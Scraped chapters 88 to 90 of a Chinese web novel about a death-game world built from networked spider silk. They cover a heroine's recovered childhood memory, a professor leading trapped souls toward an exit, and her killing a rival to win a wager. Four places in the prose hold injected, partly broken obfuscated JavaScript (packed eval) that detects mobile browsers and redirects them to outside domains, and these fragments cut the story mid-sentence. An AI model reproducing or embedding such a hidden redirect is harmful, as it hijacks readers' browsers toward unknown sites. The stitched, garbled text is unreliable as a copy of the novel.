她适应了一会儿,终于没让自己落到地面上,借助这项得来的神奇能力,林屿重新飞上天空,那人在她脱险之后已经双手抱胸留在原地四处张望。 “这就是你换给我的能力?”她看了看他的翅膀,“可是你还能飞,而且我背后什么东西也没有。” “我把一部分飞行的能力交换给你了,可没有把翅膀交换给你,能飞不是理所当然的吗?就像你换给我的是你的视物方式,你拥有你的眼睛,所以还能看见,或者……你其实想把眼睛换给我?” 他低垂着睫毛,手指隔空点了点她的眼睛,林屿立刻后退一截,随后满怀好奇地绕着他飞了几圈。 “好神奇……我本来不相信动漫或是二次元里的东西,对了,你叫什么名字?”她很有礼貌地介绍自己,“我叫林屿,今年上小学一年级,谢谢你救了我。” 见他只是挑眉不回答,林屿也没在意,她搓了搓手臂,“外面有点冷,如果我感冒的话会耽误明天上课的,那我就先回家了。” 大约是这番态度不在预料之内,他拦住想要离开的小孩。 “你就不好奇我是什么,来自哪里,还会哪些神奇的能力——你不想自己也有吗?”视线在她手腕露出的青紫和脸颊上的指印间来回审视,“你在家也过得不怎么样,刚刚有机会逃走,为什么还想着回去?” 林屿纠结地想了想,“可是爸爸妈妈有时候也会对我很好,生病的时候半夜都带我赶到医院,生日的时候会给我祝福,大部分时间只是要求严厉了一点,不犯错就不会打人。” 他似乎叹了口气,“你的光很明亮,希望以后也不要黯淡。” “光?”林屿不解。 “本来我是不会告诉别人这些的,但既然你选择回家……算了。”他语气遗憾,似乎还有些失落,“我故乡那边的生物……这么说有点奇怪,这样说吧,我的眼睛虽然看着和你们一样,但它是没法分辨颜色的,直到我来到这里,与你交换过后才第一次看见你们所说的蓝天白云——虽然现在是夜晚。” 两人立得高,城市灯火通明尽在脚底,天际线上,紫红靛蓝逐渐向上过渡,那是地面的光点亮天空的痕迹。 “你说我的光又是怎么回事呢?”林屿问道。 “在我眼里,每一个生命都是一团光,有亮有暗,我可以从很远的地方感受到熟悉的光团,很远,超越物理空间的限制。” “好酷!”林屿惊叹,顿了顿,“鹰眼可以看很远,猫眼可以夜视,人眼分辨不同色彩,那你的眼睛能帮助你做什么呢?” “你不是已经猜到了?”他含笑道,“捕猎,我需要光团来提供养分。” 林屿小脸上满是警惕,像是马上就要夺路而逃,看得他前仰后合地笑,“放心,我不吃人,我吃的是你们逸散的能量。” 末了,他神神秘秘地补充,“情绪的能量。” 林屿再次被捉弄,这回不打算轻易原谅他了,板着脸道:“好了,我要回家了。” “我们再做一个交换。” “嗯?还要交换什么?” “你的记忆。”他淡淡地说道,“我不可能留下一个知道我存在的人回到社会,我可不想被你们的政府追捕然后抓进实验室解剖。” 林屿歪了歪头,他救自己在先,合理要求都不该被拒绝,只不过今晚的经历实在太过离奇,就这样忘记太可惜了……但救命恩人的安全更重要,“好吧,我的记忆……我可以提一个要求吗?” “我的记忆交换你的视野,我想看看你说的那些光团。” 林屿站在虚空中看着幼年自己交出记忆,拥有了一个十多年毫不知情也从未用过的能力,如果不是自己阴差阳错进入“游戏”,可能一辈子也不会知晓。 时隔多年,第一个副本和第二个副本的开头贺望都没有认出自己,直到最后当着他的面用出飞行技能——他的反常驯顺原来是怔愣与不可置信。可是为什么?人长大相貌的确会变化,但贺望并不通过相貌认人,他能看见情绪的光亮…… 原来是自己的光团黯淡了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15045779|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 不复快乐的每一天,不复满怀希望的未来……不再旺盛的生命力。 她确实不是小时候的自己了。 幼年林屿在交出记忆后昏睡过去,被贺望撬开窗户送回自己的卧室,画面从此处断层。 …… 唐瑜妡坐在轮椅上,神色平静地把一叠文件递给对面的人。 “公司偷税漏税、行贿官员的证据都在这里,还有我父亲私德方面的一些……实证照片,有了这些,你们可以高枕无忧了。” 对面两人笑得合不拢嘴,“哎呀这真是……虎父无犬女啊!” 左边的人听见这话嘴角抽了抽,无语地瞪了旁边语文不过关的合伙人一眼,随后放缓语气对唐瑜妡说道:“你比我们预期更为诚恳,两百万已经打到你的账户上了,尾款在并购你父亲公司之后结清,合作愉快。” “合作愉快。”唐瑜妡还是没有什么表情的模样。 两人起身准备离开,末了,刚才打款的人忍不住回头看了看对家的女孩,“……容我多问一句,你是因为那场车祸而恨上你父亲的吗?” 唐瑜妡抬头,“不是。” 茶室的门被轻轻带上,对面两个杯子还袅袅冒着热气,唐瑜妡窝在轮椅背后,出神地想着事。 在她被救回来之后,由于耽误了治疗时间,受损的脊椎神经已经很难恢复过来,也就是从那个时候开始,她的双腿动不了了。 以这副姿态留学出国,不知有多少处不便,受到了多少嘲笑指点,但她都咬牙克服,比起被别人看到这幅模样,她更不想回国被父亲看到,然后虚伪地掉几滴假惺惺的眼泪。 比起从此以后仰他鼻息过活,她更愿意把他踩在脚下,看他苟延残喘,比自己还落魄。 她不是因为车祸才恨她的父亲,这恨意早已滋生多年,从他每回看不起她是个女孩开始。 她会一直这样对待她的敌人和对手,包括刚才两个离开的人。 唐瑜妡摸出电话,“喂?再帮我查两个人,你之前说有他们的黑料。” …… 幕台上,言宏定垂目看着被水雾淋到之后就痴痴愣愣,陷入幻觉的人群,幕布后方,一个带着防毒面具的人走出来, “老师,这个药剂对玩家真的安全吗?我还有同伴在里面……”韩舒担忧地看向林屿所在的方向。 言宏定瞥了他摸向脑后的手一眼,“你不能取下来,这个药剂对我们这群人的效果是显现特定画面,但对你们来说,效果是唤起回忆,不过都会让人恍惚一阵子,所以看上去一样——你以为我没有做过测试吗?” 韩舒惭愧地搔了搔头,“我不该质疑老师的专业性。” 言宏定背过双手,“等他们醒过来,就该明白这个世界是何等的……唉。” 这个世界是何等的荒谬。韩舒在心里接过下一句。 他一开始也是无法相信,即使说出真相的是他最敬佩的老师,他这短短几天得知的真相颠覆他一直以来的认知……以及唯物主义信仰。 他们真的身处网络空间,而人有灵魂是真的。 88.第八十八章 三年前,言宏定接触到白丝这个东西,项目由地方牵头,要求他研究这种材料,评估其危险性。 起先,他非常疑惑,不知道这个普普通通的东西有什么研究价值和值得注意的地方,他按照常规方法,只能判定这是一截蛛丝,有一定韧性,无毒,防水,不耐火烧。 试验进行了好几个月都毫无进展,他不得不在汇报上提出疑问: “你们究竟想让我研究什么?” 省上来人对视几眼,或许是看到他的资历和名望足够,让他签了保密协议之后,对他说了实话。 “我们想知道它有没有变异。” 他被带去一处秘密设施,里面有墨水可以染黑一个游泳池的墨鱼,能分泌粘液让身体完全透明的树蛙,体型正常但加上羽毛体重只有1g的麻雀,还有白丝的产出者——一种指甲盖大小的白色蜘蛛:它们总能导致设备异常。 介绍人说道:“很神奇是不是?这种非遗传性变异从很多年前就开始了,我们有一整列储藏柜收藏变异生物的标本,邀请了最权威的专家解析它们的基因序列,分析变异原因,但结果不尽人意——它们的碱基变异完全没有超出种群范围,所有迹象都表明变异生物只是一个普通个体——这颠覆了以往的认知,过去所有的变异都在基因上有所体现!” 言宏定非常认可他的话,同时对这些变异生物产生了巨大的好奇心,“所以你们想知道是什么导致的变异?” 他从这天开始昼夜不停地留在实验室。 最开始一年,研究毫无进展,白蛛无论怎么看都是普通蜘蛛,而且还容易养死,天知道他为了试探出白蛛的捕食喜好花了多少心思,他以前追老婆都没有这么上心! 如果白蛛只有一个,那他早就因为样本损毁被赶出项目了。好在这东西有一个优点:数量多。 而且变异也很稳定。 它们产出的蛛丝,可以通电,甚至捕捉和传导电磁波。 换句话说,可以联网。 言宏定发现这点时非常震撼,没想到牵头领导比他还震撼,“不对啊,我想让你研究的是它导致的灵异现象!” “还有灵异现象?!”言宏定再次被刷新三观。 于是来了一个超管局话痨成员介绍情况。 “我们这个局呢是不公开的,也是近几年成立的,大家嘛都是普普通通的人咯,从各个部门抽调的嘛,主要是处理变异动植物相关的事件,让民众不要大惊小怪乱发到网上……其实一年到头事情很少,因为变异的少,能被发现的就那么几起,最后用环境污染的理由公告了事,办公AI都可以处理,我们也就是慰问一下受惊的民众,一个月干两天活,其他时间摸鱼打牌,还总是被原单位叫回去干活……扯远了。” 言宏定心说你还知道扯得远,又听他道:“虽然建国后不许成精,但灵异这个东西嘛,是有科学依据的,不是有说法是人死之后体重会立马减少21g吗?大家都觉得这个21g重量就是灵魂的重量。东方西方,古代现代,即使受到的是唯物教育的我们这代人之中,也有不少人认为灵魂和转世存在嘛,为什么会有这种集体显意识呢?这就是……” 言宏定站得脚酸,“你还是继续说灵异吧。” “我说的就是灵异啊!”话痨立刻反驳,“灵异本来就是一件说来话长的事,需要条分缕析,穿针引线,我还是负责任的嘛,不讲清楚这不白跑一趟啊!” “为什么认为有灵异存在?”言宏定直接问道。 “因为磁场变化!”他终于说了重点,“我们检测到人死后周围的磁场会变,根据变化还原的区域模型是一个走动的人形。” 半晌,言宏定干涩地问道:“这件事是多久之前发现的?” “仪器是几十年前就能达到这个精度,但那个时候磁场的变化时间不足一秒,之后一切恢复如常,直到几年前偶尔一次的观察颠覆了先前的结果:人形持续了很久,久到发现的老孙在组里大喊大叫——那个时候超管局——超自然事件管理局还没有成立,大家只是普普通通的科普人员,拿着死工资每天朝八晚十周末一个电话就把人叫过去写材料……” 言宏定:“咳咳!” “啊对,说到哪了,哦对,然后我就第一个跑过去围观,那场面,可是吓死个人了,旁边小甘直接尿了一裤子……” 言宏定无力地瘫回座位。 “你怎么了!”那人还挺担心,“是不是亲自上阵熬夜搞科研太辛苦,哎呀我就说要体恤你们这些老同志,不能逼你们交KPI……” 言宏定虚弱道:“我只想知道发现人形磁场以后的事……” “哦,哦……后来观测的结果就都这样了,大家也说不出来是为什么,但是人形似乎有和我们交流的意愿,在发现我们能看到的时候有的像疯了一样激动,最后还是他们说他们是灵魂的呢。” “……总之,人有灵魂这件事就这样被定下来了,上面高度重视,这不,直接成立了我们这个部门呢!” 言宏定:“那白蛛和灵异有关是怎么回事?” “我们还在研究,但似乎白蛛对灵魂有某种……啊我不知道怎么说,某种迷惑力,就是把两者放在一起,灵魂有时候会恍惚一下子——灵魂自己说的。不过你放心,恍惚时间很短,而且不会对我们活人造成什么影响。” …… 言宏定对他最得意的学生说道:“不知有谁收集了大量蛛丝构建了这个空间,把人送进虚假的世界里,不管他是出于什么目的,造成如今这种局面已经没办法收场了,他就算想要回头,我们玩家的死亡已经让他面临接下来的严肃制裁,他如果不想被判死刑或者关一辈子,就一定不会放我们活口,所以我说他一定会千方百计阻止你们突破界限。但我这回就是为了打开一个口子,让你们看看外面有什么。” 韩舒似乎感知到什么,嘴唇蠕动两下,眼里涌出热泪,“就没有别的办法了吗?” 言宏定摇了摇头,“我知道自己已经死了,灵魂需要安眠,而生者需要出路。” …… 林屿从记忆的海面猝然露头,空气大量涌入肺部,像被救回的溺水者一般,她重重的抽气声清晰可闻,却淹没在这片大喊狂呼的海洋里。 “没想到死了还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15053418|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被奴役!” “我们要自由!自由!” NPC——或者说众人的灵魂,陆续从药剂的幻觉中苏醒,得知真相的他们愤怒自己就连死后都被操控,大喊着要冲破牢笼,毁灭这个世界,让幕后黑手血债血偿。 但也有质疑幻觉中所见所闻真实性的人,“大家都知道技能的用途多了,我不信看到的这些,主办方能不能出来给个说法?” “对啊,想让我们看什么还不是他们说了算,我们不能被当傻子白白利用了去!” 灯光此时落在幕台上,言宏定孤零零地站在那里,气势却让人不可忽视,他比了一个安静的手势,人群的骚乱渐渐停了,仰头听他讲话。 “诸位同胞,我给出的一切影像都来自我的记忆与真实经历的事件,自证是最难的,我不想在此处浪费时间,但毋庸置疑,我与你们是同样的身份。” “不证明怎么让人相信你的话!”人群中有人大声问。 “我想从另一个角度证明大家都受到了系统的操控——你们有没有摸过自己的后颈?”言宏定放大了自己的声音,“在那个地方,有一根刺,这个词和玩家用来杀死我们的子弹是同一种材质。” 全场哗然,这里大部分是接触了药剂但没有脱离系统的NPC,他们纷纷摸向自己的脖子,或是几人互相检查,仔细看过之后,真的从上面拔下了白色的尖刺。 “我身上竟然有这个玩意?” “卧槽,这究竟是啥!” 还有混在里面早已知道白刺的NPC,开始为别人解释白刺的邪恶之处,“就像是一个脑机接口,能影响我们的思维,让我们不会往被操控的方向思考,而且也让我们没有任何自由的念头。” “所以我真的已经死了,那段卧病在床的经历是真的,灵魂还成了这个狗屎地方的傀儡,呜呜呜……” “我决不能忍受死了还被操控!” “说吧!我们要怎么才能自由!” 言宏定拉开背后的幕布,露出黑黝黝的洞口。 “这里,这是通往外界的路。” “我召集你们来到这里,就是为了打通这个出口。” 林屿看向洞口,呼吸一滞,这不就是—— “这不就是副本之间的缝隙吗?”有人认了出来。 “是的,所以才是出路,撬开缝隙,才能把出路打开一道口子,我已经派人摸清楚了,它可以通往外界。”言宏定的视线扫过全场,“我不逼迫你们,愿意来的跟着我。” 说完,他率先跳下洞口。 林屿不自觉走近了几步,随后立刻停下,看着学校里德高望重的教授,她目前所在组织的创始人头也不回地走掉。 她本来还以为组织从此会多一个主心骨的呢。 林屿将目光投向漆黑的洞口,这里给她的感觉完全不陌生:第一个副本化作黑洞的房门,第二个副本幽深的断崖,第三个副本镜子房间里的黑色漩涡。它们是副本世界每一处不合理的存在,也是她不知其貌的隐秘角落。 要跟进去看看吗? 此时已经没有人在意赌约的事了吧。 89.第八十九章 到场的大部分人都愿意响应言教授的号召,跟着他一起进了幕台后方的洞穴,毕竟想要离开这里几乎没有别的选择,与其面对接下来的猎杀,不如跟着知情人找找出路。但还有少部分人留在原地低声讨论,怀疑整件事是一个阴谋。 即使是灵魂状态,他们也不想白白送命。 孟锦竹嘴里模糊地念叨着什么“发财快过来”,“糟了你咬的是老爸最贵的西装”之类的话,迷迷瞪瞪地睁开眼睛,旁边是一副没睡醒模样喊着“我要升职加薪走上人生巅峰”的庄建。 两人仿佛做了一场大梦,刚才还在过去的记忆里打转,结果一睁眼热闹的现场已经快没有人了,原本大家要挤着站,现在直接在这里跑步都不用担心撞到人。 高台上开了个洞,刚才发言的前首领人影都没了,简直让人怀疑是不是得了间歇性失忆症。 他们不得不询问唯一看上去清醒的同伴。 “林屿,刚才发生了什么?” 林屿无奈地收住腿,向他俩凑近一步,想了想,说道:“你们言教授,演讲真有一套。” 孟锦竹:“?” 林屿言简意赅:“他怂恿NPC进洞里寻找自由去了。” 庄建:“!” 林屿简短解释之后,庄建隐蔽地拿出手-枪,从离得最近的围着说话的NPC身上看过去,压低声音,“那我现在是不是可以……” “可以。”林屿也是这么想的,言教授让所有NPC拔出了后颈上的刺,相当于让他们全部变成玩家的猎杀目标,现在根本不用筛选,直接放黑枪完成最后一个指标,只要比对手快就赢了。 不过说起来,唐瑜妡他们呢? 林屿粗略地寻找了一圈,没有看到人,心下就是一咯噔。 “糟了!”他们不会已经出去了吧!言教授出现的时机太巧妙,说的事情又太过重要,以至于她判断没有人会在这个时候动手——但如果唐瑜妡不在意世界的真相呢? “快动手!”林屿连忙催促,只希望最坏的设想不要成真。 忽然,她神色僵硬在脸上,直愣愣地看向两个同伴。 “怎么了?”孟锦竹摸了摸脸。 “别动。”她说。 “别动。” 唐瑜妡的声音从林屿背后同步响起,她从暗处现身,拉下头顶的兜帽。 庄建和孟锦竹想要拉开同伴,然而刚刚往前一步,脖颈立刻抵上了冰凉的物事。 两个无面人悄无声息地贴在他们身后,利刃上肢以环抱的姿态制住了两人的要害。 “我以为你们会多在意一点言教授,还有他说的话。”林屿说道。 唐瑜妡从背后绕到她的身边,与林屿对上视线,“我当然在意,不然也不会一路听到最后,还吸入了不明药剂,回忆起一些令人不快的东西。” “确实不快。”林屿深有同感,那些小时候被驯服与操控的经历一旦被记起,只会千百次地咀嚼回顾,而每一次回顾都不会减弱半分阴霾。 “但也有值得的,不是吗?” 假如没有这次意外,她根本不知道自己竟然那么早就遇见过贺望,也根本记不起那段奇妙的经历,更无从得知自身能力的来源和他的真实。 以痛苦换知情,她觉得很值。 唐瑜妡不知想到了什么,笑了,“是的,也有值得的,比如它让我更加确信一个道理:别人不会给你想要的东西,如果你想要的在别人那里,那就摧毁别人与你争夺的资本,宝物自然而然就是你的了。” 她凑近了一点,几乎是贴着林屿的耳朵说道:“比如世界真相。” 林屿冷静道:“知道真相的是言教授,我们依然蒙在鼓里。” “但比我知道得多,而且言教授知道什么,就代表你们将要知道什么,他一定会想办法告诉你们的。” 林屿挑眉,“既然你也知道他这么厉害,还敢这样威胁我们?” 唐瑜妡像是听到了什么好笑的话,“如果言教授想插手赌约,他早就动手了,没管你们说明根本不在意。” 她偏过头吩咐一声,“好了,你们出来吧。” 两三米远的一组抱团NPC中,背对着林屿的几个身形闪烁了两下,随后如息屏一般消散,露出被遮挡的华浩俊和田子阳两人,他们一左一右地走来,站定在离唐瑜妡两步远的位置。 “但我并不是一个看不懂局面的人。” 唐瑜妡说着,拿出了系统武器,“我们每个人都没有容错空间了,原本我想的是干掉你们,慢慢找目标,但既然言教授知道有价值的信息,我也不好对你们太过残忍,毕竟我还需要你们告诉我一切,之后再继续跟进这条线。” 玩家公会的三人拉开枪栓,唐瑜妡一边瞄准远处的NPC一边说道:“刚才我看到他们拔后颈上的刺,所以这就是成为猎杀目标的必要条件?现在,我要让你们看着我们赢。” 庄建被无面人压制住,急的跳脚,孟锦竹征询地看向林屿,她想要用上变身这招逃脱钳制,然后拦下对手开枪的动作。 林屿微微摇了摇头。 不行。 她最多只能拦住一个人,拖延几秒钟的时间,可种植者这边只要庄建不能脱困就赢不了。唐瑜妡是真敢动手的,一个心念操控无面人杀掉庄建,自己这方就输了。 没必要徒增伤亡。 孟锦竹像是懂了她的意思,眼里露出绝望的神色。 就要这样输掉一切了吗?输掉克服无数困难积累的资源,交出用人命换来的真相,种植者成员怀着信念与牺牲取得的一切,最后统统为他人作了嫁衣。 真是不甘心…… 唐瑜妡露出胜利的微笑,为即将获得的一切。 “好了,开q——q、q——噗……” 她想说开枪的。 大股大股的鲜血咕嘟地冒着泡,从脖子里拼命地外涌,将她的前襟整个染成红色,前胸和肚腹裹在滚烫的血液里,生出烧灼般的疼痛,可她身体的温度却冷了下去。 林屿手中的匕首落了地,后退一步,按住颤抖不已的右手,对呆若木鸡的庄建说道:“开枪,快,要比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15058609|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们快!” 在唐瑜妡受到重创之后,庄建和孟锦竹背后的无面人也都凭空蒸发,现在是一击制胜的大好时机,可他却像是依旧被挟持住要害一般,僵硬这身体无法动弹。 “快。”林屿又催促了一遍。 唐瑜妡的身体无力地跪在地上,目光对上林屿的,眼神里似有千言万语,最终她露出了一个自嘲的笑,坠倒在地面。 血往外流,淌到华浩俊和田子阳脚下,沾湿了他们的鞋底,两人这才如梦初醒,惊恐地后退。 华浩俊张大着嘴,目光在死状惨烈的老大和垂头站立的邻家姐姐之间来回几番,梦呓般地问道:“林姐姐,你做了什么?” 林屿沉默着,没有抬头。 庄建似梦初醒,征询般地问道:“你杀人了?” 他不敢相信眼前看到的。 玩家没有接受NPC和自己是同类的事实,所以能够压下心底的抗拒猎杀他们,在自身的生存危机面前,也不会认为干掉他们是多大的罪过,但唐瑜妡是一个活生生的人。 没有人愿意与杀死同类的人为伍,就连唐瑜妡在动手时也会避开同伴。 一刀割喉,干脆狠辣,方才趾高气扬的对手就这样流血满地,在众目睽睽之下倒在地上。种植者几乎就这样赢了,而方才胜局在握的玩家公会失去了机会,可是…… 没有人期待她的出手,包括她的同伴。他们已经在心中定下了结局,为什么她要这样无声又激烈地反抗? 这样残酷地,反抗既定的结局? 林屿慢慢地抬头,视线在惊恐后退的华浩俊和欲言又止的田子阳身上扫过,最后转身,落在担忧的孟锦竹和一脸难以置信的庄建身上。 “你们还想赢吗?” “这是赢的问题吗?你、你知不知道种植者的规章制度是什么?你杀人了!”庄建心中的恐惧统统化作对始作俑者的攻击,从口中脱出。 林屿冷脸斥责:“闭嘴,拿好枪,现在就过去追,目标都快跑光了。” 她的脸上沾了几滴血迹,目光阴沉,看得庄建心里打突,周围NPC在方才事发时就逃远了,全部争先恐后往出口挤。 “如果你迫不及待想带着任向加入他们,也得把赌约了结!”林屿补充。 庄建暗骂一句,终于掏出枪赶了过去。 胜局已定。 林屿看到庄建杀死最后一个目标,这才问孟锦竹,“组织里有不准杀人的规定?” “啊……”孟锦竹咽了咽口水,回过神,“其实是有的,还有尽量帮助他人的规定,但这是特殊情况……” “我怎么没有听说?” “因为我拉你加入的时候,说你品行很好,一直乐于助人……所以他们可能就默认你符合要求,没有告诉你这点……”孟锦竹的声音越来越小。 林屿问道:“违反了会怎么样?” “……”孟锦竹艰难地说道,“逐出团队。” 林屿:“……” 所以她刚刚打完一场胜仗,就面临昔日同伴的事后清算? 90.第九十章 白城。 特殊副本台阶不远处,玩家公会还在和种植者联盟对垒,两方人马守在外面,都伸长了脖子眼巴巴地望着那半圈光,心里都盼着出来的是自家人。 估算时间,现在差不多进行到后半场,马上也该有落幕了。 特殊副本出来有几天了,虽然两个公会用它赌斗,但也没有拦着别人进去。敢闯敢拼的玩家闻着新鲜味儿就会热血沸腾,自然有头铁进本的,运气好的几个已经出来了。 他们给各方观望的势力摸了把风,现在,陆陆续续也有玩家走进光圈,不过与进去的人数相比,往外走的简直可以忽略不计。 这一局比上两回花的时间久,大概是参与人数乘三,完成指标也乘了三的原因。等了大半天,每出来一个人,这群望眼欲穿的人就重复一次伸头、缩头、叹气的过程,然后各自在小团体内部交头接耳。 严开吉虽然没有在田里,但汗水却一把又一把地擦,他两根手指头互相搓着,到这里以后被迫戒掉的烟瘾又犯了,心里一阵又一阵发慌。虽然知道输人不输阵的道理,但还是忍不住起身来回走动。 “你说小孟小林她们能行吗?这俩女娃一个拳头不硬一个才过三个本,虽然有老庄带着,但我怕他顾不过来啊!” 何芝闭着眼撑着头,闻言笑了一声,“不用担心她们,这两家伙聪明着呢,尤其是林屿,几回副本我都没看她吃过什么亏,我想的是另一件事。” “什么事?”严开吉立刻追问,“不担心她们担心啥?” “团队配合。”何芝揉了揉眉心,“老庄那脾气你不是不知道,就算提前当着他的面说好了,一时气劲上来也可能当面让人下不来台,我就怕他们三个聚不到一块去,对面那个队伍可是分工明确有主心骨的,散兵游勇终究比不过合作有优势。” 严开吉来回走得更快了,脸色也比之前还要黑,“我怎么没想到这一点!那他们岂不是输定了?” 他的声音有点大,顿时让对面一阵哄笑,开始说一些“急了急了,他们急了,不如现在就认输免得结果出来太难看”之类的屁话,严开吉自知失言,叉着腰色厉内荏地骂了过去。 孙覃低声问何芝,“你觉得他们能赢吗?” “不好说。”何芝叹了口气,“刚才我去别处打听了一下唐瑜妡的技能,本来还有三分希望的,现在只剩下一分了。” 孙覃:“什么技能?” 何芝:“她可以凭空捏人捏动物,据说还有个杀手锏,从来没有人能逃过去。” 孙覃不太相信,“看着不像啊,她腿不能动,技能应该是辅助才对,消息来源可靠吗?” 何芝:“黑蜘蛛首领说的,她关注玩家公会比我们久,而且对我们也没什么可图的,没必要说谎。” 孙覃消化了一会儿,一时有些难以开口,“……所以我们输定了,对吗?” 何芝默了默,“如果没有一点希望,我也不会等在这里了。” 她微合上眼,也不知心里在期待什么。明明按照牌面,种植者已经胜算微茫,就算手握分辨目标的方法,但在对方的监视干扰下也拉不开差距,何况目标并不好找。 本来是该她对上唐瑜妡的,但第一局输掉的情况下,第二局的胜负太重要了。 是不是不该应下赌约?是不是早该考虑并入玩家公会以后的事情,比如想一想如何保存组织实力和成员的归属感? 即使一向坚定选择心中正确方向的何芝也有那么一会儿的动摇。 不,不能这么想,如果当时选择妥协,等待种植者联盟的结局只有一个,一点一点被玩家公会咬下肉,慢慢地蚕食掉。如果这次能赢,他们便失去了这样做的“大义”,而种植者联盟则证明了自己是块硬骨头,玩家公会大概率转过去找别组织祸害。 何况真的没有胜率,她也不会应下赌约,只不过老实人孙覃败在了对方的手段下。 这时两边发出了短促的惊呼,何芝抬起头,正好看到台上出现在光圈外的人,田子阳的脸率先映入眼帘。 何芝眉头向眉心堆挤了一点。 玩家公会先出来?这回真的是他们赢了? 不,不一定,两方已经明确约定过,只比较每队最后一个人出副本的时间。 华浩俊紧随其后,就在玩家公会全体站起来欢呼的时候,庄建、孟锦竹一个闪身站在台上,这回是严开吉像个老小孩一样跳起脚来。 这下,所有人的目光都紧盯着高台,生怕错过一分一秒。 下一个出现的人,将决定整个赌约的胜负。 光圈微微闪动一瞬,一道身影出现在台上。她检查了一下自己的手掌与衣领,似乎松了一口气,抬头,露出了一个微笑。 玩家公会那边的小马扎已经被无意识起身的人掀翻好几个。 “……不可能。”有人喃喃说道,“会长怎么可能输?” “对啊,有会长在,怎么会让他们——” 严开吉瞪了对面一眼,嘟囔,“不肯服输的一群臭小子……来来来,赶紧过来,唉哟辛苦了我们的大功臣。” 说着就把俩姑娘往自己这边带。 孟锦竹扯了扯林屿的袖口,用耳语的声音安慰她,“没问题的,你不知情,而且是为了我们组织,没问题的……” 林屿对她笑了一下,迎着白城等待的同伴和对手的目光耸了耸肩,抬脚准备大踏步走回队列。 “会长呢?会长怎么没出来?”有人大声问。 回答的是华浩俊,“会长被林姐……被她……”他手指指向林屿,噎了一下,随后大声喊出了想到的第一个词语——事实上,这个过去完成时的动词也很准确——“杀了!” “一刀割喉!” 所有人都呆立在原处。 …… 无论过程如何,结果都是种植者联盟赢得了赌约,虽然对面的老大被关进小黑屋里去了,原先的条例却早就有约定,在白塔下人来人往早就有人围观抵不了赖,只好忍气吞声认下这个结果——就算要有其他行动也得等掌事人回来。 小公会打了个翻身仗,摆脱恶霸纠缠,昂首阔步地从垂头丧气的原恶霸旁边大踏步离开。 然后犯愁今天究竟能住哪。 自己原来的三层“小洋房”被弄成一堆建筑垃圾,赌约开始之前被迫蹲了几天“难民营”,现在已经胜了,自然不需要躲躲藏藏,但大部分租房都是玩家公会的产业,如果真去了很可能被开个天价,还得时时刻刻担心被瓮中捉鳖。 所以,他们能住哪? 庄建犹犹豫豫,“要不住我哪?” 他犹豫的原因不是自己不愿意——毕竟人家帮了他们这么多,而是怕他们不愿意,因为他那边也就三室一厅,塞不下这些人。 何芝停下脚步,向后面扫了一眼。 “出来。” 林屿毫无意外地望向街角,她早就发现这个从玩家公会光团群里分离出来的一团,现在进入灵异或者说贺望的视野,就算隔着建筑也能看到。 她的感知也增强了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15080047|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >——是因为一直把石头带在身上吗? 她摸了摸揣怀里的石头,想起与贺望的交易。 低矮的白色建筑后方,一个中年人从墙角绕出来,甫一现身,严开吉便骂出来,“盛堃?你跟着我们干什么,不是已经投靠大公会了吗?怎么,看到他们实力不怎么样,准备吃回头草了?” “不是。”盛堃嗫嚅了两下嘴唇,想要解释,但出口时却改了个口,“我想问问你们需不需要我修房子。” “然后用豆腐渣工程坑死我们。”严开吉不屑地说道,觉得这家伙就是臭不要脸来示好的。 “我……”盛堃还想说什么,被何芝打断了。 “心领了,但你好不容易在玩家公会站稳脚跟,不要被不相关的小事干影响之后的生活。” 走出一截路,盛堃仍然站在原地,林屿回头看了看,说道:“他似乎是真想帮我们。” 何芝:“我知道。” 孙覃:“你知道?可跟我那一局他铁了心想赢,根本没放水啊!” 何芝:“大概是和唐瑜妡有什么交易吧,盛堃心眼不坏,只不过逐利了点,他可能事先和唐瑜妡约好,比如他赢了就能给我们争取有利条件——可惜他根本没想过我们会赢。” 孟锦竹似懂非懂地听了一耳朵,问出灵魂问题:“可不让他修房子,我们住哪?” 何芝:“我已经有办法了。” …… 白城三街十八号,黑蜘蛛组织据点。 